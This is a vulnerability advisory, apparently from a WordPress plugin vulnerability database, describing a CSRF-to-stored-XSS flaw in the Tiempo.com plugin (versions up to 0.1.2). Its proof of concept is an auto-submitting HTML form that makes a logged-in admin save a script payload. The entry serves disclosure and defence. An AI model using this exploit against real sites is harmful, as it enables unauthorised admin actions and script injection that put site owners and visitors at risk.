WordPress Plugin Vulnerabilities
Tiempo.com <= 0.1.2 - Stored XSS via CSRF
Description
The plugin does not have CSRF check when creating and editing its shortcode, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack
Proof of Concept
Make a logged in admin open a page with the code below <html> <body onload="document.forms[0].submit()"> <form action="https://example.com/wp-admin/admin.php?page=tiempocom%2Fapp%2Fadmin.php&action=new" method="POST"> <input type="hidden" name="page" value="tiempocom/app/admin.php" /> <input type="hidden" name="title" value="<script>alert(/XSS/)</script>" /> <input type="hidden" name="language" value="en" /> <input type="hidden" name="continent" value="8" /> <input type="hidden" name="country" value="208" /> <input type="hidden" name="location" value="12325" /> <input type="hidden" name="location_label" value="Base Amundsen-Scott del Polo Sur" /> <input type="hidden" name="location_link" value="https://www.tiempo.com/base-amundsen-scott-del-polo-sur.htm" /> <input type="hidden" name="province_type" value="4" /> <input type="hidden" name="time" value="5" /> <input type="hidden" name="format" value="1" /> <input type="hidden" name="temperature_format" value="0" /> <input type="hidden" name="wind_format" value="0" /> <input type="hidden" name="rain_format" value="0" /> <input type="hidden" name="style" value="1" /> <input type="hidden" name="marquee" value="#000000" /> <input type="hidden" name="background" value="#FFFFFF" /> <input type="hidden" name="text" value="#808080" /> <input type="hidden" name="max" value="#FF0000" /> <input type="hidden" name="min" value="#0000FF" /> <input type="hidden" name="font" value="1" /> <input type="hidden" name="save" value="Save" /> <input type="hidden" name="action" value="-1" /> <input type="hidden" name="paged" value="1" /> <input type="hidden" name="action2" value="-1" /> <input type="submit" value="Submit request" /> </form> </body> </html>
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References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
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Original Researcher
Shreya Pohekar
Submitter
Shreya Pohekar
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Verified
Yes
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Timeline
Publicly Published
2023-04-25 (about 7 months ago)
Added
2023-04-25 (about 7 months ago)
Last Updated
2023-04-25 (about 7 months ago)